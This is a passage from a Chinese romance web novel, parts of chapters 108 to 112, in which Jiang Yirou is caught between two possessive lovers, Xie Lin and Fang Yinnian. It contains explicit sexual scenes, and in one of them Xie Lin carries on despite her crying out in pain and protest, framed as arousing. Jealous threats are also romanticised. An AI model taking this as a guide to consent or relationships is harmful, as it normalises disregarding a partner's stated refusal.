好不容易等到了家,谢凛拉着她的手臂径直下了车,步履匆匆。他甚至都没心思去纠结这间别墅是方隐年的资产,满脑子只剩下亲近她的想法。 姜以柔自然清楚他的心思,不由得有些失笑。不过…… 她也挺期待的。 姜以柔被他拉得有些踉跄,难免皱眉抱怨道:“你慢点,我跟不上了。” 谢凛脚步一顿,竟然直接俯身将她打横抱起,大步朝家中走去。 姜以柔:“……” 就这么急吗? 很快,谢凛便一脚踹开了别墅的大门,他踏进这间房子,冷眼打量着周围豪华奢靡的一切,蓦地开口问道:“这就是他的房子?” 姜以柔被他抱在怀中,乖顺地靠在他的胸膛上,应道:“是啊。” 谢凛垂眸睨向她,意味不明地问道:“你很喜欢这里?” 姜以柔挑了挑眉梢,一如既往地坦荡直白,笑着说道:“喜欢啊,谁不喜欢大房子?” 谢凛抱着她的手臂一紧,呼吸都有些不稳。他干脆直接将人压在沙发上,咬牙切齿地说道:“这种时候惹我生气,对你有什么好处吗?” 说着,他粗粝的大掌攀上她纤细柔腻的小腿,一路摩挲着向上,带着丝威胁的意味。 姜以柔却笑着攀上他的脖颈,一点儿都不害怕的样子,甚至还有些期待。 “你生气了吗?”姜以柔眯起一双潋滟的眸子,嗓音像是带了钩子,分外甜腻。 谢凛俯身朝她逼近,目光像蛇一般缠绕在她身上,冰冷而黏腻。他缓缓抬手抚上她的侧脸,粗粝灼热的指尖带起阵阵战栗。 谢凛像是锁定了猎物的野兽一般,紧紧盯着她,哑声问道:“他有碰你吗?” 他的嗓音极冷,却带着丝不易察觉的颤意。 姜以柔被他按在沙发上,只能仰头看他,明明是处于弱势的姿态,眼神却里却带着玩味,仿佛她才是那个握着缰绳的人。 她红唇微勾,并没有立刻回答谢凛的问题,而是好整以暇地盯着他。 时间一分一秒地过去,在姜以柔的沉默中,谢凛的脸色越来越难看,狭长的黑眸渐渐积蓄起骇人的风暴。 在谢凛几乎要爆发的时候,姜以柔温柔地用手摸了摸他的脸颊,轻快地说道:“放心吧,没有。” 她笑意温柔,语气认真,丝毫看不出说谎的模样。 然而,在姜以柔回答过后,谢凛的面色非但没有放松下来,反而更加阴鸷。 他缓缓摸上姜以柔的侧脸,拇指蹭上她娇嫩的红唇,稍一用力,便让那唇洇出灼人的艳色。 谢凛眸色幽深,嗓音嘶哑地说道:“你在校庆的视频,我看了。” 姜以柔眨着眼睛看向他,静待他的后文。 谢凛眸底翻涌着几乎疯狂的厉色,一字一句咬牙道:“那个时候……你的嘴唇是肿的。” 闻言,姜以柔微微一怔,一时间不知道该说什么。 校庆那天,她在上台演讲之前刚跟方隐年……很是胡闹了一通。虽然后来有专业化妆师帮她遮掩,但最为熟悉她身体的谢凛,还是发现了某些细微的变化。 比如她的嘴唇比平时更肿一点,谢凛就一眼看出来了——因为他也时常将那对诱人的红唇吮得红肿,甚至破皮。 一想到某种可能,谢凛几乎控制不住心底暴虐的破坏欲。 他需要万分克制,才不至于弄疼她。 姜以柔被戳破了谎言,却不见一丝慌乱。 她眼珠一转,竟然从善如流地承认了:“好吧,方隐年确实亲过我。” 这一瞬间,谢凛脸色铁青,阴沉得仿佛地狱修罗,他握住姜以柔大腿的手猛地用力,白嫩柔软的皮肉几乎溢出指缝,现出一道道暧昧的指痕。 就在他即将爆发时,姜以柔突然攀住他的脖颈,柔软的身躯像水蛇般缠了上去。 她媚眼如丝地睨向他,嗓音柔得几乎可以滴出水来,“方隐年只亲过我这里……” 姜以柔伸出一根纤细的手指,点了点自己的嘴唇,继续笑着说道:“但是……” 姜以柔倾身凑到他耳边说了一句话,那狎昵的呢喃让谢凛的眼眸里瞬间漫上一层血色,脖颈处暴起的青筋让她看起来像个濒临爆发的野兽。 他呼吸粗重,粗粝的大掌沿着她的大腿内侧缓缓上移,将……完全罩住。 他不轻不重地揉了两下,哑声说道:“我要亲自检查……” “把腿张开。” 第109章 沙发上。 谢凛居高临下地睨着她, 微微眯起的黑眸像只锁定了猎物的豹子,当他语气冷硬地命令她“把腿张开”时,更透着种近乎无情的强势。 姜以柔怔了一瞬, 立刻就有点不开心,娇气地哼了一声:“这么凶干嘛……” 姜以柔原本想要发火,但是当她迎上那双冰冷而野性的眸子时, 瞬间唤醒了她与谢凛的那些回忆。 那双有力的手臂死死掐住她的腰肢, 让她避无可避,如狂风暴雨般拍打着她的身体。 他灼热的呼吸喷洒在她耳际时, 犹如野兽狩猎前的鼻息,仿佛随时能将她的喉咙咬断。 凶狠的,疯狂的, 无法抗拒的……那种几乎灭顶的快乐。 谢凛实在太有劲儿了, 总能带给她独一份的刺激。 所以,哪怕姜以柔有些不爽于谢凛强硬的态度,可她的身体已经先一步不争气地认出了他,酥软得升不起丝毫反抗之意。 她嘴上抱怨着, 修长而不失肉感的腿却真的乖乖地…… 她的脚踩上了谢凛结实的大腿, 白嫩的脚趾勾了勾,那蒙着一层水光的眸子诉说着明晃晃的诱惑。 谢凛的手臂肌肉虬结,延伸到结实的肩背, 每一处起伏如同山峦般充满了力与美,他手臂稍一用力, 便将那块小小的布料撕下, 随手丢到了一边。 谢凛眼眸微垂,居高临下地打量着那里。 他说是要“检查”,可他的眼里根本没有半点客观的审视, 全是炙热的渴望。 他的喉结剧烈地滚动了下,那饿狼般的眼神像是看到了最美味的食物。 姜以柔被他用直白的目光审视着,她的呼吸变得急促起来,娇声催促道:“不是要检查吗?快点嘛!” 谢凛撩起眼皮晲了她一眼,扬手不轻不重地拍了她一下,淡声道:“别乱动。” 带着厚茧的掌心“啪”地拍上去,轻微的痛意裹挟着一股异样的酥麻袭来,姜以柔不由得轻哼出声。 姜以柔有一瞬间的恍惚,眸中不由得洇出水光,当她意识到刚才发生了什么时,立刻羞恼地涨红了脸,怒声道:“谢凛你个混蛋,你敢打我……啊!” 姜以柔指责他的话还未说完,尾音就突然变了调,几乎带上些哭腔。 因为,谢凛又轻轻揉了两下,像是安抚。 他看上去漫不经心,却完全拿捏了姜以柔身体的开关,随手两个动作便打开了她的水龙头,这种居高临下的掌控感让姜以柔几乎融化了。 她双眼迷离,被更加打开。 谢凛手指实在很修长,将她检查了个透彻。 他当然不可能发现什么问题,所谓的“检查”也更像是久别重逢后的一点小情趣。 谢凛连衣服都没脱,半跪在她身前,只用几根手指“检查”着她。 姜以柔有些难耐,嘴里发出断断续续的低吟。 正当她几乎沉迷时,谢凛突兀地把手收了出去。 姜以柔立刻嗔怒地瞪着他,抬脚踩上他的……威胁般用力碾了碾。 谢凛急喘两声,盯着她的眼神明显幽暗了几分。 但他依旧不急着享用。 谢凛抱起她,想要将她带到楼上的卧室,姜以柔却难耐地在他怀里挣扎,嘴里不断催促着:“没关系,这个时间不会有人回来的,你快点……” 谢凛蹙了蹙眉头,似是有点不放心,但终究拗不过她,又将她重新压回了沙发上。 谢凛握着她的膝窝抬高,姜以柔的脚便顺势踩在他的背上。 谢凛俯身低头,熟练地低头寻找…… 姜以柔被他伺候过不知多少遍,他一低头,身体里便涌上熟悉的渴望,迫不及待地蹭了蹭他硬朗的侧脸。 片刻后,姜以柔满足地眯起眼睛。 然而,她还没来得及享受,下一秒便忍不住惊呼出声:“啊!” 她发出一声短促的惊叫,身体也猛地弹了一下,缩着腿想要蜷起身体。 谢凛却牢牢抓着她,让她避无可避。 姜以柔挣扎着扭动起来,娇美的脸上掺杂着痛苦,她断断续续地呜咽道:“你……你先去刮胡子!” “混蛋,滚啊!好痛……”姜以柔踢着腿挣扎,眼眶里积蓄的泪水溢出,在她白嫩的脸上留下一道泪痕,显得分外可怜。 然而,谢凛仿佛根本没听见一般,依旧埋着头忙活。 姜以柔只觉得快疯了。 湿滑的舌头给她带来熟悉的快乐,可是那淡青的胡茬却带来难以忽视的刺痛。 那里本就娇嫩,有时候谢凛舔得用力一点,姜以柔都会感觉有点不舒服,更何况是被胡茬刺激呢? 谢凛不知道是有意还是无意,偏偏爱用下颌轻轻蹭她。 那些微的刺痛反而成了绝佳的刺激,直把姜以柔折磨得死去又活来。 终于,姜以柔一边哭叫着,一边…… 她浑身香汗淋漓,犹在止不住地微微颤抖,那双漂亮的眼睛都失去了焦距,软在沙发上一动都不想动。 谢凛直起身体,随便用手背抹了把下颌的水渍。他餍足地眯起一双幽黑的眸子,像只刚饱餐过一顿的野兽。 随即他将手撑在姜以柔的脸侧,俯下身体用力吻她的脖颈。 其实他更想要吻上那双红唇,可惜的是,每次伺候完姜以柔,她总会很嫌弃他的亲吻。 所以他只能退而求其次,微微用力在那雪白的肌肤上印下一朵朵红梅,像是在打上他自己的烙印。 灼热的唇舌流连在她的脸侧,连带着胡茬带来的些微刺痛,这立刻唤回了姜以柔的神智。 她有些难耐地扭动了下身体,气得声音里都带了丝哭腔,咒骂道:“混蛋,以后不刮胡子不准碰我。” 她嗓音娇柔,还带着丝颤意,哪里像是威胁,说是撒娇还差不多,听得谢凛心软,但……硬。 谢凛的喉间溢出一丝难耐的轻笑,他轻轻含住她的耳垂,沉声低语道:“那你以后也不准亲其他男人。” 说到底,谢凛还是在意姜以柔跟方隐年的那个吻。 所以才会故意使坏,变着法地磨她。 因为他知道,他对姜以柔终究狠不下心肠,也只能在这事儿上不轻不重地给个教训。 好在她跟方隐年只是接吻而已,他勉强可以忍。 谢凛将唇从她脖颈处移开,抬眸执拗地盯着她,等一个答案。 姜以柔汗津津地喘着粗气,她撩起眼皮定定地看了他许久,突然问道: “如果我跟方隐年不止接吻,还做了更亲密的事……你会怎么样?” 闻言,谢凛面上的温度瞬间褪去,狭长的黑眸中蕴着令人心惊的冷意。 他……会怎么样? “你不会想知道的。”谢凛的语气和表情都还算平静,却莫名让人头皮发麻。 就像是一座表面平静的活火山,内里涌动着堪可毁灭一切的岩浆。 姜以柔眨了眨眼睛,倒是不怎么害怕。 因为,她相信谢凛再怎么样都不会伤害她的,需要担心自身安危的,是“奸夫”方隐年。 姜以柔轻轻一笑,双臂攀上他的脖颈,轻哼着说道:“你把我喂饱,我就不会去找别人了……” 谢凛垂眸死死盯着她,猛地一送。 他急喘两声,咬着牙问道:“我哪次没有喂饱你?” 姜以柔被刺激得叫出声来,她紧紧搂着谢凛的脖颈,双腿也缠上了他,双颊漫上诱人的酡红。 她的声音被一下一下撞得断断续续,说道:“那你……不要总是出差嘛。” 谢凛一边卖力一边轻喘着说道:“不出差,拿什么养你?” 姜以柔被撞得迷迷糊糊的,胡言乱语道:“让方隐年养我,养我们俩……” 谢凛:“……” 谢凛攻伐的动作都顿了下,不由得满脸黑线。 他还不至于这么没用! 不过,姜以柔要是把这话说给方隐年听,应该能把那老家伙气得半死吧…… 谢凛漫不经心地想道。 谢凛低头咬她的耳朵,低声警告道:“不准提他。” 此时此刻,他不允许姜以柔想除了他之外的任何男人。 他俯身抱起姜以柔,让她坐在自己身上,两人一同在快乐中沉溺、迷失,将无关紧要的人全然抛到了脑后。 屋子里漫开浓烈的荷尔蒙。 * 另一边,方氏公司。 当姜以柔在商场里被围堵的消息传到方隐年耳中时,时间已经过去了很久,甚至事情都已经被谢凛解决掉了。 方隐年猛地起身,脸色阴沉得几乎滴出水。 他被惊出了一身冷汗,当即抛下所有事情往家里赶去。 车上,方隐年懊恼地揉了揉眉心——他一开会就扔手机这个习惯真的得改改了。 以前倒是无所谓,因为对他来说最重要的无非就是工作。但现在,姜以柔才是最重要的,容不得一丁点差池。 方隐年端坐在车里,听着保镖跟他汇报方才的情况,越听眉头皱得越紧。 他打开手机,网上果然是各种角度的“偶遇姜以柔”相关视频。当看到姜以柔被一群人围堵,有些无措地缩在角落里时,方隐年只觉得心脏像是被一只大手攥住了,闷闷的发疼。 他不由得攥紧了拳头,恨自己没有在她最需要的时候出现在她身边。 当看到谢凛出现救了她时,方隐年面色骤沉,他眸光凛冽,死死盯着两人相拥的身影,指节几乎泛起了青白色。 呵,他倒是有几分本事,竟然能悄无声息地回来。 方隐年死死咬着牙,几乎将手机捏碎。 但最终,他也只能发出一声颓然的轻叹。 纵然心里不舒服,但他更觉得庆幸,谢凛能及时出现保护她。 “再开快点。”方隐年沉声催促道。 “好的,方总。” 等到车子在别墅门口停下时,方隐年迅速下了车,快步朝门口走去。 他直接用钥匙开了门,踏入屋子的一瞬间,映入眼帘的是一派春光。 方隐年浑身僵硬,有一瞬间的怔然。当他反应过来的时候,面色瞬间不受控制地阴沉下来。 第110章 方隐年浑身僵硬地站在大门口, 死死盯着客厅里亲密勾缠的那对男女。 那样爱欲丛生、抵死缠绵的一幕,直刺得方隐年凤眸猩红,整个人都在微微颤抖。 此时此刻, 他就像是一座活火山,表面上或许还能勉强保持镇定,可愤怒与嫉妒的岩浆在他的身体里流淌积蓄着, 随时都会冲破这副平静的皮囊。 没人知道此时他心底涌动着怎样可怕的念头。 方隐年握着门把的手不断收紧, 用力到指节都泛着青白色。他脚下像是生了根,直挺挺地站在原地, 凤眸深不见底。 客厅沙发上,正沉溺于快乐的两个人被门口处细微的动静惊醒,齐齐转头朝门口看去。 谢凛略显恍惚的眸子瞬间凌厉起来, 他立刻撑起身体, 用宽厚的肩背挡住了姜以柔外泄的春光。 与此同时,他想要抓过什么来遮挡住姜以柔的身体,然而此时他们身在沙发上,既没有被子, 两人的衣服要不被撕扯得不能看, 要不就是被扔得很远,一时间倒真找不到什么东西遮掩。 谢凛环着姜以柔的肩背,将她挡得严严实实, 转头朝闯入者看去。 他微微眯起眼睛,像只被侵犯了领地的愤怒野兽, 冷冷地朝闯入之人看去, 当看清方隐年那张脸时,新仇旧恨涌上心头,他的面色更阴沉了几分。 他环着姜以柔的肩膀, 将柔弱无力的她牢牢护在怀中,冰冷的眸光直刺向方隐年,寒声斥道:“滚出去。” 方隐年杵在原地一动不动,他冷眼看着谢凛竭力挡住那具曼妙柔软、能令人疯狂的身体,就好像一条护食的狗,一副生怕有人跟他抢食的模样。 方隐年居高临下地睨着他们,唇角不由得扯起一抹冰冷的弧度,似是嘲讽。 然后,他非但没有转身避嫌,反而施施然迈开腿,一步一步朝两人走近。 方隐年面无表情地逼近,那双狭长上挑的凤眸异常冰冷,颇有几分风雨欲来的危险感。 面对他的步步紧逼,谢凛握紧了拳头,但动作上却有些迟疑。 如果是平时,他早就一拳撂倒这个不长眼的男人了,但现在……比起那点雄性间的胜负欲,他更不想让方隐年看到什么不该看的——那份独属于他的美好。 于是,谢凛依旧护在姜以柔身前,将她挡得严严实实,只冷冷地盯着方隐年,将拳头捏得咔咔作响。 方隐年终于在两人面前站定,他居高临下地盯着他们,看着谢凛这副护食的姿态,突兀地发出一声冷笑:“有什么可遮掩的?” 此话一出,谢凛和姜以柔都愣了一瞬。 谢凛若有所思地眯了眯眸子,探究地盯着他—— 方隐年说的话……是什么意思? 方隐年好整以暇地垂眸盯着他们,目光在姜以柔若隐若现的雪白躯体上流连,凤眸中显出几分嘲讽之意。 姜以柔全身上下,他哪里没有看过、摸过、舔过? 他闭着眼睛都能想象出来她的身体有多美。 所以…… 谢凛有什么可遮掩的? 真是笑话。 方隐年几乎控制不住那股将一切和盘托出的冲动,他紧咬着牙关,几乎尝到了唇齿间的血腥气。强烈的妒忌和愤怒几乎要把他的心撕碎,他需要拼尽全力,才能保持冷静地站在这里。 而谢凛似乎察觉出了他话语中微妙的意味,刚想要出声质问,却先一步发现了方隐年落在姜以柔身上的那直白赤祼的目光。 谢凛眸色骤沉,一字一句咬牙道:“再多看一眼,我就废了你那双招子。” 方隐年挑了挑眉梢,云淡风轻地回了一句,“是吗?” 方隐年不知想起了什么,轻轻扯了下嘴角,语气莫名道:“那你可有的忙了。” 你要废的……可不止我这双眼睛了。 他的手,他的唇舌,他的…… 方隐年表情还算平静,凤眸中却隐隐透着疯狂的猩红,他真的很想不管不顾地说出口,让谢凛也体会一下自己此刻万箭穿心般的痛苦。 但下一秒,姜以柔抬起头,目光越过谢凛宽厚的肩背,直直地对上了方隐年的眼睛。 姜以柔绷着脸,潋滟的眸中是很明显的不悦,大概是因为被打扰了。 她皱眉盯着方隐年,眸中含着明显的警告之意。 触及她的目光后,方隐年刚才还沸腾的血液瞬间凝固了。 方隐年缓缓闭了闭眼睛,再睁开眼时,眸底又恢复了平静。 谢凛皱眉思索着他刚才的话,只觉得更加莫名,他探究地盯着他,沉声质问道:“你什么意思?” 方隐年并不回答他,突兀地有了动作—— 他突然脱下了自己的外套。 这个动作把姜以柔惊了一跳,差点以为方隐年真的要不管不顾地暴露他们之间的关系,结果,方隐年却只是将外套递到她面前。 方隐年瞥了谢凛一眼,淡声道:“给她裹上,免得着凉。” 谢凛的面色骤然阴沉下来。 方隐年的举动在他看来极其没有边界感,让他有种被挑衅的感觉。 从方隐年出现开始,他的每一句话,每一个眼神,每一个举动,都让谢凛有种莫名的感觉。 他意味深长的言行举止让谢凛极其不舒服,所以谢凛盯着他的目光越发不善起来。 偏偏方隐年还若无所觉,继续漫不经心地刺道:“谢先生,我的房子很大,总能找到一张床的。何必如此着急呢?” “让……姜小姐受凉了可怎么办?” 方隐年的舌尖滚过“以柔”两个字,这是他们亲密时的称呼,但现在,他只能生生咽下这两个字,换成更客套的“姜小姐”。 仿佛他们的关系又回到了最初那个陌生疏离的时候,但只有他们两个人知道,他们已经是世界上最亲密的距离。 方隐年就这样居高临下地睨视着谢凛,那含枪带棒的一番话更似是在暗讽他精虫上脑,不顾姜以柔的意愿。 只是方隐年不知道的是,其实是姜以柔执意在沙发上寻求刺激。 谢凛当然不打算将这件事解释给他听,只眯起眼睛盯着他,面如沉水。 谢凛将拳头捏得咔咔作响,他浑身肌肉都绷紧了,像只蓄势待发的猎豹,作势想要站起身来。 这一刻,谢凛不想再顾忌什么,只想一拳揍死这个贱人。 方隐年不闪不避,冷冷地垂眸盯着他,微勾的唇角处是若有似无的挑衅。 就在战况一触即发时,姜以柔连忙伸手按住谢凛的肩膀,温声安慰道:“谢凛,别理他。” 姜以柔从背后环住谢凛,柔软的身体趴在他背上,没有几分力气,却让谢凛止住了动作。 与此同时,姜以柔抬头看向方隐年,他依旧保持着向前递衣服的姿势,狭长的凤眸直勾勾地盯着她,里面翻涌着只有他们两个人才懂的惊涛骇浪。 姜以柔隐晦地瞪了方隐年一眼,算是警告。 但事情已经到了这个地步,方隐年和谢凛谁都不可能退让,依旧针锋相对着。 姜以柔无奈,干脆伸出手臂,抓住了方隐年递过来的衣服。 然后,借着外套的遮掩,她轻轻地在方隐年手心挠了两下—— 像是猫在别别扭扭地哄人,也算是另一种低头。 姜以柔扬起一张微红的小脸,水润潋滟的眸子直勾勾地盯着方隐年,那温软的眼神很像他们在床上时,她哭求着示弱的模样。 方隐年定定地看着她,这一下仿佛直接撞进了他心里,让他刚竖起的心防溃不成军。 方隐年呼吸一滞,心底涌上一股莫名的悲凉—— 他好像,真的拿她完全没办法。 可是……她为什么总要肆无忌惮地践踏他的心意呢? 方隐年胸膛剧烈起伏着,那双紧盯着姜以柔的眸子里隐隐透着血色。 姜以柔只敢借着衣服的遮掩偷偷挠他两下,很快便顺着拿回衣服的动作,想要把自己的手抽出来。 但是,方隐年却没那么容易放过她。 在姜以柔想要抽手离开的瞬间,方隐年猛地反握住了那只柔荑,滚烫的掌心带着不容抗拒的强势,那力道几乎要将她融化。 姜以柔手一颤,差点吓得叫出声来。 她本意是想安抚一下看起来快气疯了的方隐年,却没想到被他咬住不松口了。 好在方隐年还没有彻底失去理智,用力攥了下她的手后,便若无其事地松开了她。 只是在松手之前,他深深地看了眼姜以柔。 那一眼里的深沉冷冽,让姜以柔的心跳都漏了一拍。 她很熟悉这个眼神,是“秋后算账”的意思。 想到方隐年那些磨人的手段,姜以柔不由得有些后悔。 姜以柔强自镇定地缩回手,努力装出若无其事的模样。 她跟方隐年之间的交流只在片刻间,但这一秒钟的“暗度陈仓”已经足以让她心惊肉跳。 在她接过方隐年的外套后,谢凛立刻眯着眼睛看了过来。 面对谢凛不悦中透着审视的目光,姜以柔故作镇定地披上那件外套,无辜地说道:“还真有点冷。” 姜以柔的这一动作倒是打破了两个男人之间那剑拔弩张的氛围,他们一时间都沉默了,就这样僵持下来。 方隐年定定地看着姜以柔,垂在身侧的手不自觉蜷了蜷,掌心仿佛还残留着她指尖温热细腻的触感。 那一个轻勾终究是勾起了方隐年心里的怜惜。 算了。 方隐年深吸一口气,缓缓闭上了眼睛,终究不舍得她为难。 方隐年主动后退两步,然后有些僵硬地转过身体,他一个字都没说,一副不听不看他们两个人的模样。 谢凛本以为还要废点功夫才能让方隐年避退,此时见他主动退让,有些意外地挑了挑眉。 但是,见到方隐年的主动退让,谢凛的面上非但什么胜利的喜悦,反而脸色更阴沉了几分。 方隐年从刚才起那古怪的言行,都沉甸甸地压在谢凛的心头,让他升起种不好的预感。 谢凛缓缓起身,眸光在姜以柔和方隐年之间来回扫视着,凌厉如刀。 姜以柔:“……”《 》 110-120 第111章 顶着谢凛锋锐的目光, 姜以柔自如地笑了笑,甚至还能轻晃着他的肩膀,撒娇道:“抱我回卧室, 好冷。” 刚才和谢凛运动的时候还不觉得,这会儿一停下来,姜以柔真有点冷了, 她不由得裹紧了方隐年的外套。 闻言, 谢凛腮侧微鼓,黑眸阴沉沉的, 但迎上姜以柔莹润委屈的眸光,他咬了咬牙,只能认命地给她当牛做马。 谢凛微微俯身, 高大的身躯像小山一般压下来, 姜以柔立刻环着他的脖颈贴了上去。 谢凛俯身时,看到姜以柔披着的那件深灰色西装,顿时厌恶地蹙起眉头。 他很想把这件西装扔得远远的,但念及姜以柔刚才喊冷……只能沉着脸别开视线。 谢凛一把抄起她的膝窝, 轻轻松松地将人抱起。 他最后瞥了眼方隐年沉默的背影, 黑眸中有幽光掠过,意味不明,但他终究没有再说什么, 抱着姜以柔转身往楼上卧室走去。 在他踏上楼梯时,缩在他怀里的姜以柔不动声色地转过头, 她的视线越过谢凛宽厚的肩膀, 直直地望向楼下客厅。 方隐年恰好也转过身,正抬眸望过来。 两人的视线在半空相遇,勾连出无声的潮涌。 * 当方隐年背过身去的时候, 他看不见那两个人亲密纠缠的身影,但是身后总有窸窸窣窣的声音传到他耳中。 所以,他非但无法眼不见心不烦,甚至还因为背过身的动作而更加烦躁。 他会不受控制地去想象,姜以柔正在和谢凛做什么,越是深想,他就越压制不住心底的暴戾。 很快,身后传来谢凛沉稳平缓的脚步声—— 他们正在往卧室里走去,但却只有谢凛一个人的脚步声。 方隐年心中一动,终于控制不住地转身回头,直直地望过去。 从这个角度,方隐年只能看到姜以柔被打横抱起,她揽着谢凛的脖颈,柔弱无骨地挂在他身上,只露出一对纤细的小腿和赤祼的足。 方隐年死死盯着她半遮半掩的雪白躯体,眸底妒火与□□交织,险些将他好不容易竖起的理智防线弄断。 恰在此时,当谢凛抱着姜以柔一步一步上楼时,她不动声色地转过头,视线越过他的肩膀,精准地撞进他的眼眸中。 姜以柔的眸子因为快意而有些湿润,浓黑的睫羽被泪水沾湿,更显得潋滟撩人。 此时此刻,她乖巧地被谢凛抱在怀中,那双眼睛却不安分地望向另一个男人。 她和方隐年的视线在半空相撞,彼此眼中都有莫名的情绪在涌动,时间仿佛都在这一刻停滞了。 这时,姜以柔那双露出的眼睛弯了弯,眸中浮现出明显的笑意,潋滟而勾人。 方隐年捕捉到那一抹笑后微微一怔,等他反应过来的时候,只觉得一口郁气堵在胸口。 为她的没心没肺,也为她的恶劣无情。 方隐年呼吸不稳,胸膛剧烈起伏着,却只能咬紧牙关,眼睁睁看着谢凛抱起姜以柔进入楼上的卧室。 直到再也看不见他们的身影,方隐年的脸色也未曾有过半分和缓。 他怔怔地垂眸,看着自己摊开的掌心,上面有刺目的血痕,是他刚才苦苦隐忍时掐出来的。 方隐年深吸一口气,无力地闭了闭眼睛,唇角的弧度有些苦涩。 进了卧室后,谢凛特意反锁了房门,然后一把将姜以柔按在床上。 “他怎么会有这里的钥匙?”谢凛紧紧盯着她,脸色很不好,微眯的黑眸中盈着危险的冷意。 姜以柔眨了眨眼睛,十分理直气壮地说道:“这本来就是他的房子,他有钥匙不是很正常吗?” 谢凛被她一噎,强压着心底的火气问道:“你不是说只借用他的房子吗?” 如果方隐年可以随意进出这间别墅的话……谢凛咬了咬牙,胸口处翻涌着明显的不悦。 姜以柔无辜地眨了眨眼睛,继续反驳道:“我确实是借用他的房子,但我也管不了他要进来呀,毕竟这本来就是他的房子,不是吗?” 谢凛被她堵得无话可说,神情变幻许久,最后化为深深的无奈。 他实在拿她没办法。 谢凛薄唇紧抿,半晌沉声道:“下次……不许在客厅里胡闹。” 他原本想要带姜以柔回卧室的,偏偏她非要在沙发上缠着他……一想到方隐年可能看到了些什么,谢凛就无比懊悔于他的意志不坚定。 怎么能陪着姜以柔胡闹呢? “没事啦……”姜以柔两手环上谢凛的脖颈,像条挂在他身上美人蛇,妖娆妩媚。 她面上没有丝毫被人撞破情事的尴尬,一副泰然自若的模样。 因为姜以柔心里有数。 这个时间点,她的便宜爸妈和女儿都不会回家,剩下唯一有钥匙的……就是方隐年。 思及至此,姜以柔无声地勾了勾唇角。 谢凛未曾发现她的异样,拧眉沉思片刻后,俯身亲了亲姜以柔,低声说道:“搬家吧。” 姜以柔撩起眼皮看了他一眼,懒洋洋地问道:“搬到哪里?” 谢凛望向她的眸中满是认真,一字一句道:“我会找一处比这里更好的房子,我们一起搬过去。” 姜以柔没有犹豫就答应了,“好啊!” 对她来说,住哪里都一样,如果真的有更舒服更豪华的住处,何乐而不为呢? 谢凛并不知道她的想法如此简单,只因为这句承诺而瞬间柔和了脸庞。他俯身想要吻她,却被姜以柔嫌弃地推了一把。 “行了,赶紧换衣服吧。”姜以柔语调慵懒,虽然被中途打断让她有点不爽,但一想到楼下就是方隐年,她就再也没有做下去的兴致了。 “方隐年还在下面等着呢。”姜以柔说着便想起身穿衣服。 一从她嘴里听到方隐年的名字,谢凛的眸底便掠过一道幽光。 突然,他将姜以柔重新按回床上,居高临下地俯视着她。良久,他唇角轻扯,那弧度带着几分嘲讽,淡声道:“那就让他等着吧。” 说着,谢凛便俯身沉腰,继续刚才的事情。 姜以柔一声惊呼,不敢置信地瞪大了眼睛,气急败坏道:“你疯了?!” 他竟然还能做得下去? 谢凛很快就进入了状态,享受地眯起眼睛,他还卖力地抚慰着姜以柔,很快也同样挑起了她的兴致,让她再也无心抗拒。 谢凛在心里冷笑一声。 但凡方隐年识相的话,刚才就应该立刻滚蛋。如果他没有自知之明,非要在楼下等…… 那就让他等着好了。 谢凛转瞬就将无关紧要的人抛到了脑后,放任自己沉溺于新一轮的快乐中。 姜以柔最后还是妥协般环住了他的脖颈,轻哼着说道:“最多……最多到六点,小渔该放学了。” 闻言,谢凛喉间溢出低哑的笑声:“到六点可喂不饱你。” * 楼下,方隐年深呼吸几次,才勉强从那种几近疯狂的痛苦中抽离。 他缓缓闭了闭眼,再睁开眼睛时,狭长的凤眸如同一汪深不见底的潭水,冰凉刺骨。 方隐年扫视一圈,打算找个地方坐下,在这里等着他们下来。 他的目光不受控制地落在不远处的沙发上,沙发面上还残留着大片的水渍和湿痕,那是什么东西,方隐年再清楚不过了。 沙发旁散落着一地衣物,有谢凛的,也有姜以柔的,那些衣服都被扯得残破不堪,可想而知他们有多急切……多激烈。 方隐年像是被刺伤了一般迅速移开眼睛,面色再次不受控制地阴沉下来。 其实,他并不是第一次撞见姜以柔和谢凛亲热的场面了。 早在有个叫赵文泽的男人试图对她不轨时,他匆匆从外地赶回来,敲开酒店的门之后,看到的就是他们两个人亲密的场面。 只是那一次,他看到的只是“事后”而已,远没有这次亲眼目睹两人亲密现场的冲击力大。 方隐年神情变幻不定,脑海里不停浮现出姜以柔在另一个男人怀里娇媚动人的模样,一颗心像是在油锅里煎熬,逼得他每一次呼吸都牵扯着心脏的痛意。 方隐年强迫自己冷静下来,想等到姜以柔下来的时候再说。 之后再跟她算总账。 然而,十分钟过去,半个小时过去…… 方隐年的脸色渐渐漫上股不敢置信的阴戾。 他终于意识到——姜以柔和谢凛似乎根本没打算下来。 他们在楼上的卧室里做什么……不言而喻。 方隐年不自觉捂住胸口,他死死咬着牙关,甚至尝到了喉头腥甜的血腥气。 这一刻,方隐年心中翻涌着无数念头。 他刚才就不应该心软,不应该退让,否则也不至于被她如此愚弄! 方隐年猛地抬头,直勾勾地盯着楼上的房间,狭长的凤眸中积蓄着阴鸷的怒火。 之前的方隐年,算是一只被姜以柔勉强安抚好的恶龙,才能强压着心底的恶意,眼睁睁看着别的男人觊觎他的财宝。 但是现在……方隐年身体里的恶欲被彻底点燃了。 他凭什么退让呢? 他要把她抢过来,其他任何人都别想染指。 方隐年缓缓握紧了拳头,一颗心也彻底冷硬下来。 那双幽暗的凤眸里闪着令人心惊的冷意,几欲噬人。 良久,他深吸一口气,嘴角扯出一个万分冰冷的弧度,抬步便往楼上走去,气势摄人。 然而,方隐年还没来得及踏上楼梯,那未被掩紧的别墅大门外便传来隐隐约约的争执声。 “哼,原来你们搬来了这里,有什么好遮遮掩掩的?” “方镜麒,你跟踪我?!” 声音来自方镜麒和姜渔。 听到声音后,方隐年面色一变,眉心蓦地蹙了起来。 方镜麒和姜渔正迅速朝这里靠近,估计很快就会打开房门。 方隐年下意识地看向沙发和地面上凌乱的衣物,明眼人一下子就能看出来这里发生过什么。 想到之前他跟姜以柔缠绵的时候,她特别抗拒被姜渔知道这些事情…… 方隐年咬了咬牙,迅速上前将那一堆衣物收拾起来。 方隐年的脸阴沉得能滴出墨来了。 谢凛和姜以柔第一次在酒店做的时候,就是他帮着善后,不仅处理了赵文泽,还要帮他们买新衣服;现在,他又要给他们处理烂摊子…… 他是欠这两个人吗?! 第112章 圣维尔学院最近非常热闹, 每个人讨论的话题无不围绕着校庆上一鸣惊人的那个女人——特优生姜渔的妈妈。 校园论坛的日活量从未如此之高,里面甚至还混进了不少校外的人,他们都在视奸校园内网的帖子, 试图从这所贵族学校的学生那里,获得更多关于姜以柔的信息。 